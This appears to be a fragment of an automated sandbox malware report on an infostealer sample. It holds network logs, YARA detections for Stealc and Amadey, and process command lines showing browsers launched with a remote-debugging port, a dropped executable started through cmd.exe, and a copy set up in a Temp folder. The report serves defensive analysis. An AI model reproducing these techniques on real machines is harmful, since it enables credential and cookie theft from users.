2024-11-20 17:58:00 UTC	1250	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 39 30 34 30 31 22 20 56 3d 22 33 22 20 44 43 3d 22 45 53 4d 22 20 45 4e 3d 22 4f 66 66 69 63 65 2e 54 65 6c 65 6d 65 74 72 79 2e 53 61 6d 70 6c 69 6e 67 50 6f 6c 69 63 79 22 20 41 54 54 3d 22 66 39 39 38 63 63 35 62 61 34 64 34 34 38 64 36 61 31 65 38 65 39 31 33 66 66 31 38 62 65 39 34 2d 64 64 31 32 32 65 30 61 2d 66 63 66 38 2d 34 64 63 35 2d 39 64 62 62 2d 36 61 66 61 63 35 33 32 35 31 38 33 2d 37 34 30 35 22 20 44 4c 3d 22 41 22 20 44 43 61 3d 22 50 53 50 20 50 53 55 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 52 49 53 3e 0d 0a 20 20 20 20 3c 52 49 20 4e 3d 22 4d 65 74 61 64 61 74 61 22 20 2f 3e 0d Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="90401" V="3" DC="ESM" EN="Office.Telemetry.SamplingPolicy" ATT="f998cc5ba4d448d6a1e8e913ff18be94-dd122e0a-fcf8-4dc5-9dbb-6afac5325183-7405" DL="A" DCa="PSP PSU" xmlns=""> <RIS> <RI N="Metadata" />

Session ID	Source IP	Source Port	Destination IP	Destination Port
144	192.168.2.6	49932	13.107.246.63	443

Timestamp	Bytes transferred	Direction	Data
2024-11-20 17:58:00 UTC	193	OUT	GET /rules/rule224901v11s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-20 17:58:00 UTC	495	IN	HTTP/1.1 200 OK Date: Wed, 20 Nov 2024 17:58:00 GMT Content-Type: text/xml Content-Length: 2284 Connection: close Vary: Accept-Encoding Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:27:13 GMT ETag: "0x8DC582BCD58BEEE" x-ms-request-id: 1a818a33-b01e-005c-4475-3b4c66000000 x-ms-version: 2018-03-28 x-azure-ref: 20241120T175800Z-r1d97b99577xdmfxhC1TEBqbhg00000000v000000000cgr9 x-fd-int-roxy-purgeid: 0 X-Cache: TCP_MISS Accept-Ranges: bytes
2024-11-20 17:58:00 UTC	2284	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 32 32 34 39 30 31 22 20 56 3d 22 31 31 22 20 44 43 3d 22 53 4d 22 20 45 4e 3d 22 4f 66 66 69 63 65 2e 4c 69 63 65 6e 73 69 6e 67 2e 4f 66 66 69 63 65 43 6c 69 65 6e 74 4c 69 63 65 6e 73 69 6e 67 2e 44 6f 4c 69 63 65 6e 73 65 56 61 6c 69 64 61 74 69 6f 6e 22 20 41 54 54 3d 22 63 31 61 30 64 62 30 31 32 37 39 36 34 36 37 34 61 30 64 36 32 66 64 65 35 61 62 30 66 65 36 32 2d 36 65 63 34 61 63 34 35 2d 63 65 62 63 2d 34 66 38 30 2d 61 61 38 33 2d 62 36 62 39 64 33 61 38 36 65 64 37 2d 37 37 31 39 22 20 53 50 3d 22 43 72 69 74 69 63 61 6c 43 65 6e 73 75 73 22 20 54 3d 22 55 70 6c 6f 61 64 2d 4d 65 64 69 75 6d 22 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="224901" V="11" DC="SM" EN="Office.Licensing.OfficeClientLicensing.DoLicenseValidation" ATT="c1a0db0127964674a0d62fde5ab0fe62-6ec4ac45-cebc-4f80-aa83-b6b9d3a86ed7-7719" SP="CriticalCensus" T="Upload-Medium"

Session ID	Source IP	Source Port	Destination IP	Destination Port
145	192.168.2.6	49934	13.107.246.63	443

Timestamp	Bytes transferred	Direction	Data
2024-11-20 17:58:00 UTC	192	OUT	GET /rules/rule701201v1s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-20 17:58:01 UTC	494	IN	HTTP/1.1 200 OK Date: Wed, 20 Nov 2024 17:58:00 GMT Content-Type: text/xml Content-Length: 1393 Connection: close Vary: Accept-Encoding Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:27:51 GMT ETag: "0x8DC582BE3E55B6E" x-ms-request-id: 6d4f85c2-e01e-0003-2b8c-3a0fa8000000 x-ms-version: 2018-03-28 x-azure-ref: 20241120T175800Z-1777c6cb754mrj2shC1TEB6k7w00000009yg00000000vfpc x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-20 17:58:01 UTC	1393	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 37 30 31 32 30 31 22 20 56 3d 22 31 22 20 44 43 3d 22 53 4d 22 20 45 4e 3d 22 4f 66 66 69 63 65 2e 54 65 6c 65 6d 65 74 72 79 2e 45 76 65 6e 74 2e 4f 66 66 69 63 65 2e 58 61 6d 6c 2e 43 72 69 74 69 63 61 6c 22 20 53 50 3d 22 43 72 69 74 69 63 61 6c 42 75 73 69 6e 65 73 73 49 6d 70 61 63 74 22 20 44 4c 3d 22 41 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 52 49 53 3e 0d 0a 20 20 20 20 3c 52 49 20 4e 3d 22 45 76 65 6e 74 22 20 2f 3e 0d 0a 20 20 3c 2f 52 49 53 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 55 43 53 53 20 54 3d 22 31 22 20 43 3d 22 4e 65 78 75 73 54 65 6e 61 6e 74 54 6f 6b 65 6e 58 61 6d 6c 22 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="701201" V="1" DC="SM" EN="Office.Telemetry.Event.Office.Xaml.Critical" SP="CriticalBusinessImpact" DL="A" xmlns=""> <RIS> <RI N="Event" /> </RIS> <S> <UCSS T="1" C="NexusTenantTokenXaml"

Session ID	Source IP	Source Port	Destination IP	Destination Port
146	192.168.2.6	49935	13.107.246.63	443

Timestamp	Bytes transferred	Direction	Data
2024-11-20 17:58:00 UTC	192	OUT	GET /rules/rule701200v1s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-20 17:58:01 UTC	515	IN	HTTP/1.1 200 OK Date: Wed, 20 Nov 2024 17:58:00 GMT Content-Type: text/xml Content-Length: 1356 Connection: close Vary: Accept-Encoding Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:27:38 GMT ETag: "0x8DC582BDC681E17" x-ms-request-id: c1a1f15b-901e-005b-358c-3a2005000000 x-ms-version: 2018-03-28 x-azure-ref: 20241120T175800Z-185f5d8b95cf7qddhC1NYC66an0000000aq0000000008tep x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT X-Cache-Info: L1_T2 Accept-Ranges: bytes
2024-11-20 17:58:01 UTC	1356	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 37 30 31 32 30 30 22 20 56 3d 22 31 22 20 44 43 3d 22 53 4d 22 20 45 4e 3d 22 4f 66 66 69 63 65 2e 54 65 6c 65 6d 65 74 72 79 2e 45 76 65 6e 74 2e 4f 66 66 69 63 65 2e 58 61 6d 6c 22 20 44 4c 3d 22 41 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 52 49 53 3e 0d 0a 20 20 20 20 3c 52 49 20 4e 3d 22 45 76 65 6e 74 22 20 2f 3e 0d 0a 20 20 3c 2f 52 49 53 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 55 43 53 53 20 54 3d 22 31 22 20 43 3d 22 4e 65 78 75 73 54 65 6e 61 6e 74 54 6f 6b 65 6e 58 61 6d 6c 22 20 53 3d 22 4d 65 64 69 75 6d 22 20 2f 3e 0d 0a 20 20 20 20 3c 46 20 54 3d 22 32 22 3e 0d 0a 20 20 20 20 20 20 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="701200" V="1" DC="SM" EN="Office.Telemetry.Event.Office.Xaml" DL="A" xmlns=""> <RIS> <RI N="Event" /> </RIS> <S> <UCSS T="1" C="NexusTenantTokenXaml" S="Medium" /> <F T="2">

Session ID	Source IP	Source Port	Destination IP	Destination Port
147	192.168.2.6	49936	13.107.246.63	443

Timestamp	Bytes transferred	Direction	Data
2024-11-20 17:58:00 UTC	192	OUT	GET /rules/rule700201v1s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-20 17:58:01 UTC	494	IN	HTTP/1.1 200 OK Date: Wed, 20 Nov 2024 17:58:01 GMT Content-Type: text/xml Content-Length: 1393 Connection: close Vary: Accept-Encoding Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:27:50 GMT ETag: "0x8DC582BE39DFC9B" x-ms-request-id: 96e0b134-501e-0035-148c-3ac923000000 x-ms-version: 2018-03-28 x-azure-ref: 20241120T175801Z-185f5d8b95cp7lkfhC1NYC7rpw0000000asg000000009wxd x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-20 17:58:01 UTC	1393	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 37 30 30 32 30 31 22 20 56 3d 22 31 22 20 44 43 3d 22 53 4d 22 20 45 4e 3d 22 4f 66 66 69 63 65 2e 54 65 6c 65 6d 65 74 72 79 2e 45 76 65 6e 74 2e 4f 66 66 69 63 65 2e 57 6f 72 64 2e 43 72 69 74 69 63 61 6c 22 20 53 50 3d 22 43 72 69 74 69 63 61 6c 42 75 73 69 6e 65 73 73 49 6d 70 61 63 74 22 20 44 4c 3d 22 41 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 52 49 53 3e 0d 0a 20 20 20 20 3c 52 49 20 4e 3d 22 45 76 65 6e 74 22 20 2f 3e 0d 0a 20 20 3c 2f 52 49 53 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 55 43 53 53 20 54 3d 22 31 22 20 43 3d 22 4e 65 78 75 73 54 65 6e 61 6e 74 54 6f 6b 65 6e 57 6f 72 64 22 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="700201" V="1" DC="SM" EN="Office.Telemetry.Event.Office.Word.Critical" SP="CriticalBusinessImpact" DL="A" xmlns=""> <RIS> <RI N="Event" /> </RIS> <S> <UCSS T="1" C="NexusTenantTokenWord"

Session ID	Source IP	Source Port	Destination IP	Destination Port
148	192.168.2.6	49937	13.107.246.63	443

Timestamp	Bytes transferred	Direction	Data
2024-11-20 17:58:02 UTC	192	OUT	GET /rules/rule700200v1s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-20 17:58:03 UTC	494	IN	HTTP/1.1 200 OK Date: Wed, 20 Nov 2024 17:58:02 GMT Content-Type: text/xml Content-Length: 1356 Connection: close Vary: Accept-Encoding Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:27:43 GMT ETag: "0x8DC582BDF66E42D" x-ms-request-id: a4b0abd9-001e-0049-4af2-3a5bd5000000 x-ms-version: 2018-03-28 x-azure-ref: 20241120T175802Z-r1d97b9957789nh9hC1TEBxha8000000097000000000ruqr x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-20 17:58:03 UTC	1356	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 37 30 30 32 30 30 22 20 56 3d 22 31 22 20 44 43 3d 22 53 4d 22 20 45 4e 3d 22 4f 66 66 69 63 65 2e 54 65 6c 65 6d 65 74 72 79 2e 45 76 65 6e 74 2e 4f 66 66 69 63 65 2e 57 6f 72 64 22 20 44 4c 3d 22 41 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 52 49 53 3e 0d 0a 20 20 20 20 3c 52 49 20 4e 3d 22 45 76 65 6e 74 22 20 2f 3e 0d 0a 20 20 3c 2f 52 49 53 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 55 43 53 53 20 54 3d 22 31 22 20 43 3d 22 4e 65 78 75 73 54 65 6e 61 6e 74 54 6f 6b 65 6e 57 6f 72 64 22 20 53 3d 22 4d 65 64 69 75 6d 22 20 2f 3e 0d 0a 20 20 20 20 3c 46 20 54 3d 22 32 22 3e 0d 0a 20 20 20 20 20 20 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="700200" V="1" DC="SM" EN="Office.Telemetry.Event.Office.Word" DL="A" xmlns=""> <RIS> <RI N="Event" /> </RIS> <S> <UCSS T="1" C="NexusTenantTokenWord" S="Medium" /> <F T="2">

Session ID	Source IP	Source Port	Destination IP	Destination Port
149	192.168.2.6	49938	13.107.246.63	443

Timestamp	Bytes transferred	Direction	Data
2024-11-20 17:58:02 UTC	192	OUT	GET /rules/rule702351v1s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-20 17:58:03 UTC	494	IN	HTTP/1.1 200 OK Date: Wed, 20 Nov 2024 17:58:03 GMT Content-Type: text/xml Content-Length: 1395 Connection: close Vary: Accept-Encoding Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:27:44 GMT ETag: "0x8DC582BE017CAD3" x-ms-request-id: e045c2d1-201e-003c-718c-3a30f9000000 x-ms-version: 2018-03-28 x-azure-ref: 20241120T175803Z-1777c6cb754dqf99hC1TEB5nps00000009w0000000002auk x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-20 17:58:03 UTC	1395	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 37 30 32 33 35 31 22 20 56 3d 22 31 22 20 44 43 3d 22 53 4d 22 20 45 4e 3d 22 4f 66 66 69 63 65 2e 54 65 6c 65 6d 65 74 72 79 2e 45 76 65 6e 74 2e 4f 66 66 69 63 65 2e 56 6f 69 63 65 2e 43 72 69 74 69 63 61 6c 22 20 53 50 3d 22 43 72 69 74 69 63 61 6c 42 75 73 69 6e 65 73 73 49 6d 70 61 63 74 22 20 44 4c 3d 22 41 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 52 49 53 3e 0d 0a 20 20 20 20 3c 52 49 20 4e 3d 22 45 76 65 6e 74 22 20 2f 3e 0d 0a 20 20 3c 2f 52 49 53 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 55 43 53 53 20 54 3d 22 31 22 20 43 3d 22 4e 65 78 75 73 54 65 6e 61 6e 74 54 6f 6b 65 6e 56 6f 69 63 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="702351" V="1" DC="SM" EN="Office.Telemetry.Event.Office.Voice.Critical" SP="CriticalBusinessImpact" DL="A" xmlns=""> <RIS> <RI N="Event" /> </RIS> <S> <UCSS T="1" C="NexusTenantTokenVoic

Target ID:	0
Start time:	12:57:10
Start date:	20/11/2024
Path:	C:\Users\user\Desktop\file.exe
Wow64 process (32bit):	true
Commandline:	"C:\Users\user\Desktop\file.exe"
Imagebase:	0x620000
File size:	1'787'392 bytes
MD5 hash:	0C50A08DFFA73CFBB9EE5BA4382BDEFC
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Yara matches:	Rule: JoeSecurity_Stealc, Description: Yara detected Stealc, Source: 00000000.00000002.2702853473.0000000000621000.00000040.00000001.01000000.00000003.sdmp, Author: Joe Security Rule: JoeSecurity_Stealc, Description: Yara detected Stealc, Source: 00000000.00000002.2706801790.00000000011CE000.00000004.00000020.00020000.00000000.sdmp, Author: Joe Security Rule: JoeSecurity_Stealc, Description: Yara detected Stealc, Source: 00000000.00000003.2190819447.0000000004FC0000.00000004.00001000.00020000.00000000.sdmp, Author: Joe Security
Reputation:	low
Has exited:	true

Show Windows behavior

Target ID:	2
Start time:	12:57:21
Start date:	20/11/2024
Path:	C:\Program Files\Google\Chrome\Application\chrome.exe
Wow64 process (32bit):	false
Commandline:	"C:\Program Files\Google\Chrome\Application\chrome.exe" --remote-debugging-port=9229 --profile-directory="Default"
Imagebase:	0x7ff684c40000
File size:	3'242'272 bytes
MD5 hash:	5BBFA6CBDF4C254EB368D534F9E23C92
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Reputation:	high
Has exited:	true

Show Windows behavior

Target ID:	4
Start time:	12:57:22
Start date:	20/11/2024
Path:	C:\Program Files\Google\Chrome\Application\chrome.exe
Wow64 process (32bit):	false
Commandline:	"C:\Program Files\Google\Chrome\Application\chrome.exe" --type=utility --utility-sub-type=network.mojom.NetworkService --lang=en-US --service-sandbox-type=none --mojo-platform-channel-handle=2292 --field-trial-handle=2192,i,12616498222566698575,857865143827692260,262144 /prefetch:8
Imagebase:	0x7ff684c40000
File size:	3'242'272 bytes
MD5 hash:	5BBFA6CBDF4C254EB368D534F9E23C92
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Reputation:	high
Has exited:	true

Show Windows behavior

Target ID:	6
Start time:	12:57:32
Start date:	20/11/2024
Path:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
Wow64 process (32bit):	false
Commandline:	"C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --remote-debugging-port=9229 --profile-directory="Default"
Imagebase:	0x7ff715da0000
File size:	4'210'216 bytes
MD5 hash:	BF154738460E4AB1D388970E1AB13FAB
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Reputation:	moderate
Has exited:	true

Show Windows behavior

Target ID:	7
Start time:	12:57:33
Start date:	20/11/2024
Path:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
Wow64 process (32bit):	false
Commandline:	"C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=utility --utility-sub-type=network.mojom.NetworkService --lang=en-GB --service-sandbox-type=none --mojo-platform-channel-handle=2404 --field-trial-handle=2272,i,8644300524140361366,6652659034351590865,262144 /prefetch:3
Imagebase:	0x7ff715da0000
File size:	4'210'216 bytes
MD5 hash:	BF154738460E4AB1D388970E1AB13FAB
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Reputation:	moderate
Has exited:	true

Show Windows behavior

Target ID:	8
Start time:	12:57:33
Start date:	20/11/2024
Path:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
Wow64 process (32bit):	false
Commandline:	"C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --remote-debugging-port=9229 --profile-directory=Default --flag-switches-begin --flag-switches-end --disable-nacl --do-not-de-elevate
Imagebase:	0x7ff715da0000
File size:	4'210'216 bytes
MD5 hash:	BF154738460E4AB1D388970E1AB13FAB
Has elevated privileges:	false
Has administrator privileges:	false
Programmed in:	C, C++ or other language
Reputation:	moderate
Has exited:	false

Show Windows behavior

Target ID:	9
Start time:	12:57:33
Start date:	20/11/2024
Path:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
Wow64 process (32bit):	false
Commandline:	"C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=utility --utility-sub-type=network.mojom.NetworkService --lang=en-GB --service-sandbox-type=none --mojo-platform-channel-handle=2204 --field-trial-handle=2036,i,11321964657895670609,3347667301527403325,262144 /prefetch:3
Imagebase:	0x7ff715da0000
File size:	4'210'216 bytes
MD5 hash:	BF154738460E4AB1D388970E1AB13FAB
Has elevated privileges:	false
Has administrator privileges:	false
Programmed in:	C, C++ or other language
Reputation:	moderate
Has exited:	false

Show Windows behavior

Target ID:	14
Start time:	12:57:38
Start date:	20/11/2024
Path:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
Wow64 process (32bit):	false
Commandline:	"C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=utility --utility-sub-type=asset_store.mojom.AssetStoreService --lang=en-GB --service-sandbox-type=asset_store_service --mojo-platform-channel-handle=6656 --field-trial-handle=2036,i,11321964657895670609,3347667301527403325,262144 /prefetch:8
Imagebase:	0x7ff715da0000
File size:	4'210'216 bytes
MD5 hash:	BF154738460E4AB1D388970E1AB13FAB
Has elevated privileges:	false
Has administrator privileges:	false
Programmed in:	C, C++ or other language
Reputation:	moderate
Has exited:	true

Show Windows behavior

Target ID:	15
Start time:	12:57:38
Start date:	20/11/2024
Path:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
Wow64 process (32bit):	false
Commandline:	"C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=utility --utility-sub-type=entity_extraction_service.mojom.Extractor --lang=en-GB --service-sandbox-type=entity_extraction --onnx-enabled-for-ee --mojo-platform-channel-handle=6812 --field-trial-handle=2036,i,11321964657895670609,3347667301527403325,262144 /prefetch:8
Imagebase:	0x7ff715da0000
File size:	4'210'216 bytes
MD5 hash:	BF154738460E4AB1D388970E1AB13FAB
Has elevated privileges:	false
Has administrator privileges:	false
Programmed in:	C, C++ or other language
Reputation:	moderate
Has exited:	true

Show Windows behavior

Target ID:	16
Start time:	12:57:39
Start date:	20/11/2024
Path:	C:\Program Files (x86)\Microsoft\Edge\Application\117.0.2045.55\identity_helper.exe
Wow64 process (32bit):	false
Commandline:	"C:\Program Files (x86)\Microsoft\Edge\Application\117.0.2045.55\identity_helper.exe" --type=utility --utility-sub-type=winrt_app_id.mojom.WinrtAppIdService --lang=en-GB --service-sandbox-type=none --mojo-platform-channel-handle=3632 --field-trial-handle=2036,i,11321964657895670609,3347667301527403325,262144 /prefetch:8
Imagebase:	0x7ff6f2da0000
File size:	1'255'976 bytes
MD5 hash:	F8CEC3E43A6305AC9BA3700131594306
Has elevated privileges:	false
Has administrator privileges:	false
Programmed in:	C, C++ or other language
Reputation:	moderate
Has exited:	true

Show Windows behavior

Target ID:	17
Start time:	12:57:39
Start date:	20/11/2024
Path:	C:\Program Files (x86)\Microsoft\Edge\Application\117.0.2045.55\identity_helper.exe
Wow64 process (32bit):	false
Commandline:	"C:\Program Files (x86)\Microsoft\Edge\Application\117.0.2045.55\identity_helper.exe" --type=utility --utility-sub-type=winrt_app_id.mojom.WinrtAppIdService --lang=en-GB --service-sandbox-type=none --mojo-platform-channel-handle=3632 --field-trial-handle=2036,i,11321964657895670609,3347667301527403325,262144 /prefetch:8
Imagebase:	0x7ff6f2da0000
File size:	1'255'976 bytes
MD5 hash:	F8CEC3E43A6305AC9BA3700131594306
Has elevated privileges:	false
Has administrator privileges:	false
Programmed in:	C, C++ or other language
Has exited:	true

Show Windows behavior

Target ID:	27
Start time:	12:58:01
Start date:	20/11/2024
Path:	C:\Windows\SysWOW64\cmd.exe
Wow64 process (32bit):	true
Commandline:	"C:\Windows\system32\cmd.exe" /c start "" "C:\Users\user\DocumentsBAEHIEBGHD.exe"
Imagebase:	0x1c0000
File size:	236'544 bytes
MD5 hash:	D0FCE3AFA6AA1D58CE9FA336CC2B675B
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Has exited:	true

Show Windows behavior

Target ID:	28
Start time:	12:58:02
Start date:	20/11/2024
Path:	C:\Windows\System32\conhost.exe
Wow64 process (32bit):	false
Commandline:	C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Imagebase:	0x7ff66e660000
File size:	862'208 bytes
MD5 hash:	0D698AF330FD17BEE3BF90011D49251D
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Has exited:	true

Show Windows behavior

Target ID:	29
Start time:	12:58:02
Start date:	20/11/2024
Path:	C:\Users\user\DocumentsBAEHIEBGHD.exe
Wow64 process (32bit):	true
Commandline:	"C:\Users\user\DocumentsBAEHIEBGHD.exe"
Imagebase:	0xd90000
File size:	1'902'080 bytes
MD5 hash:	9026CA6BC267A2AC0E092E352CB39DFE
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Yara matches:	Rule: JoeSecurity_Amadey_2, Description: Yara detected Amadey\'s stealer DLL, Source: 0000001D.00000002.2780696137.0000000000D91000.00000040.00000001.01000000.0000000B.sdmp, Author: Joe Security Rule: JoeSecurity_Amadey_2, Description: Yara detected Amadey\'s stealer DLL, Source: 0000001D.00000003.2691553972.0000000004BE0000.00000004.00001000.00020000.00000000.sdmp, Author: Joe Security
Has exited:	true

Show Windows behavior

Target ID:	30
Start time:	12:58:08
Start date:	20/11/2024
Path:	C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe
Wow64 process (32bit):	true
Commandline:	"C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe"
Imagebase:	0xd00000
File size:	1'902'080 bytes
MD5 hash:	9026CA6BC267A2AC0E092E352CB39DFE
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Yara matches:	Rule: JoeSecurity_Amadey_2, Description: Yara detected Amadey\'s stealer DLL, Source: 0000001E.00000002.2802336835.0000000000D01000.00000040.00000001.01000000.0000000E.sdmp, Author: Joe Security Rule: JoeSecurity_Amadey_2, Description: Yara detected Amadey\'s stealer DLL, Source: 0000001E.00000003.2760707523.00000000048A0000.00000004.00001000.00020000.00000000.sdmp, Author: Joe Security
Has exited:	true

Show Windows behavior

Target ID:	32
Start time:	12:58:33
Start date:	20/11/2024
Path:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
Wow64 process (32bit):	false
Commandline:	"C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=utility --utility-sub-type=edge_search_indexer.mojom.SearchIndexerInterfaceBroker --lang=en-GB --service-sandbox-type=search_indexer --message-loop-type-ui --mojo-platform-channel-handle=6036 --field-trial-handle=2036,i,11321964657895670609,3347667301527403325,262144 /prefetch:8
Imagebase:	0x7ff715da0000
File size:	4'210'216 bytes
MD5 hash:	BF154738460E4AB1D388970E1AB13FAB
Has elevated privileges:	false
Has administrator privileges:	false
Programmed in:	C, C++ or other language
Has exited:	false

Show Windows behavior

Target ID:	34
Start time:	12:59:00
Start date:	20/11/2024
Path:	C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe
Wow64 process (32bit):	true
Commandline:	C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe
Imagebase:	0xd00000
File size:	1'902'080 bytes
MD5 hash:	9026CA6BC267A2AC0E092E352CB39DFE
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Yara matches:	Rule: JoeSecurity_Amadey_2, Description: Yara detected Amadey\'s stealer DLL, Source: 00000022.00000003.3273549857.0000000005180000.00000004.00001000.00020000.00000000.sdmp, Author: Joe Security Rule: JoeSecurity_Amadey_2, Description: Yara detected Amadey\'s stealer DLL, Source: 00000022.00000002.3416042291.0000000000D01000.00000040.00000001.01000000.0000000E.sdmp, Author: Joe Security
Has exited:	false

Show Windows behavior

Execution Graph

Execution Coverage:	0.2%
Dynamic/Decrypted Code Coverage:	0%
Signature Coverage:	30.6%
Total number of Nodes:	108
Total number of Limit Nodes:	12

Executed Functions

Function 6C9535A0 Relevance: 37.0, APIs: 16, Strings: 5, Instructions: 294
stringtimeCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

InitializeCriticalSectionAndSpinCount.KERNEL32(6C9DF688,00001000), ref: 6C9535D5
getenv.API-MS-WIN-CRT-ENVIRONMENT-L1-1-0(MOZ_TIMESTAMP_MODE), ref: 6C9535E0
QueryPerformanceFrequency.KERNEL32(?), ref: 6C9535FD
_strnicmp.API-MS-WIN-CRT-STRING-L1-1-0(?,GenuntelineI,0000000C), ref: 6C95363F
GetSystemTimeAdjustment.KERNEL32(?,?,?), ref: 6C95369F
__aulldiv.LIBCMT ref: 6C9536E4
QueryPerformanceCounter.KERNEL32(?), ref: 6C953773
EnterCriticalSection.KERNEL32(6C9DF688), ref: 6C95377E
LeaveCriticalSection.KERNEL32(6C9DF688), ref: 6C9537BD
QueryPerformanceCounter.KERNEL32(?), ref: 6C9537C4
